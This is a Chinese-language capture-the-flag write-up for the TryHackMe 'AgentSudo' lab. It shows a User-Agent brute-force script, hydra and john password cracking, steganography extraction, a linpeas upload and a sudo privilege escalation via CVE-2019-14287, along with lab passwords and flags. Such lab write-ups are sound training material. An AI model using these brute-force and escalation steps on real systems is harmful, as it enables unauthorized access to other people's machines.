AgentSudo (Try Hack Me Writeup)


URL: https://tryhackme.com/room/agentsudoctf

IP : 10.10.119.64

Recon

  • 老梗 nmap -A 10.10.119.64
    • 發現有開
      • FTP
      • SSH
      • HTTP
  • 嘗試進入 HTTP
    • 看到他說需要在 useragent 放 Codename (機密代號)
    • 又說 Dear agent, 下面有說 Agent R
    • 所以基本上可以先猜測 Agent AZ

爆猜機密代號

  • 瀏覽器沒有太方便,所以我們先把瀏覽器 request 轉 curl
    • 對著 F12 的 Reuest 右鍵,Copy as cURL
    • curl 'http://10.10.119.64/' -H 'User-Agent: meow' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0, no-cache' -H 'Pragma: no-cache'
  • curl 轉 Python request
    • 我使用這個網站 https://curl.trillworks.com/
      • 把 curl 貼上就可以自動轉 python 的 request 了
    • 接下來寫一段扣爆破
    • 因為如果猜錯他會回傳的字都是一樣的,那就猜測輸入正確時,他回傳的東西會不一樣,所以最簡單的方法可以用字串長度來比對,輸入錯誤時長度是 218 運氣很好,C 就猜到ㄌ
import requests


for i in "ABCDEFGHIJKLMNOPQRSTUVWXYZ":
	headers = {
		'User-Agent': i ,
		'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
		'Accept-Language': 'en-US,en;q=0.5',
		'Connection': 'keep-alive',
		'Upgrade-Insecure-Requests': '1',
		'Cache-Control': 'max-age=0, no-cache',
		'Pragma': 'no-cache',
	}

	response = requests.get('http://10.10.119.64/', headers=headers).text
	print(i,len(response))
  • User-Agent:C 發 request
      • 在 Firefox 上使用右鍵, Edit and Resend
      • 修改 User-Agent 為 C 並送出
    • 可以發現他自動跳轉到這個網頁
      • http://10.10.119.64/agent_C_attention.php
      • 內文中發現了 Agent C 叫做 chris
      • 而且他的主管在嘴他說使用弱密碼

FTP

  • 嘗試爆破 FTP
    • 因為 nmap 有掃到 ssh 跟 ftp,隨便取 ftp
    • 透過 Hydra + Rockyou 字典來爆
      • hydra -l chris -P /opt/rockyou.txt ftp://10.10.119.64
    • 可以了解到帳號為 chris
    • 密碼為 crystal
  • 嘗試登入 FTP
    • ftp 10.10.119.64
    • 輸入 ls 觀察 ftp 裡面的檔案
    • 輸入 get 檔名 把檔案依序載下來
  • 觀察 txt 檔案
    • cat To_agentJ.txt
    • 他說兩張照片都是假ㄉ,裡面有藏東東

Stego

  • 起手式 strings
    • strings cutie.png
    • 可以發現裡面藏了一點點的字,但是用奇怪的編碼或加密QQ
  • 透過 binwalk 觀察是否裡面有藏檔案
    • 發現 png 後面塞了一個 zip
  • 透過 foremost 解出裡面的檔案
    • foremost cutie.png
    • 會發現資料夾裡面有一包 zip
  • 解壓縮 zip
    • 用最直覺的 unzip
      • 會發現噴錯
      • 跟據這篇的講法,可以用 7z 來解
    • 7z x 00000067.zip
      • 用 7z 解,會發現 zip 需要密碼
  • 爆破 zip 密碼
    • 先把 zip 轉成 約翰格式
    • zip2john 00000067.zip > j.txt
    • john j.txt --wordlist=/opt/rockyou.txt
    • 就可以取得密碼為 alien
  • 解壓縮 zip
    • 7z x 00000067.zip
    • 並使用密碼 alien 即可解壓完畢
    • 解壓內容可以看到一組奇怪的密碼 QXJlYTUx
    • 透過 base64 解碼
      • base64 -d <<< QXJlYTUx
      • 即可獲得 Area51
  • 接下來看到另外一個檔案
    • cute-alien.jpg
    • 這邊使用 steghide 進行解密
    • steghide extract -sf cute-alien.jpg
      • 並搭配 Area51
      • 發現成功的解出了 message.txt
  • 我們可以發現文章內
    • 使用者 : james
    • 密碼 : hackerrules!

SSH

  • 透過 SSH 進行登入
    • ssh james@10.10.119.64
  • 尋找到 user_flag.txt
    • b03d975e8c92a7c04146cfa7a5a313c7

提權

  • 輸入 sudo -l
    • 所以我們不能以 root 身分執行/bin/bash
  • What is the incident of the photo called?
    • 裡面還找到了一張照片
    • 透過 Google 以圖搜圖可以找到這篇新聞
    • Roswell alien autopsy
  • 繼續提權
    • 透過 scp 上傳 Linpeas
      • 本機
        • scp linpeas.sh james@10.10.119.64:/tmp
      • 遠端
        • bash linpeas.sh | tee meow.txt
  • 可以觀察到 Linpeas 把 sudo 版本變紅色
    • 透過Google Sudo 1.8.21p2
      • 可以找到 CVE-2019-14287
      • https://www.exploit-db.com/exploits/47502
    • 遠端機器剛好有 python 跟 vim
      • 那就直接開 vim 把 exploit 給貼上
  • 把 python exploit code 給 run 起來
    • 詢問使用者名稱,就輸入 james
    • 成功提權!
  • 取得 root flag
    • b53a02f55b57d4439e3341834d70c062
  • (Bonus) Who is Agent R?
    • 信最後 有寫 DesKel aka Agent R
    • 阿不是阿,你名字裡哪裡有 R ㄌ ?__?
,

發表迴響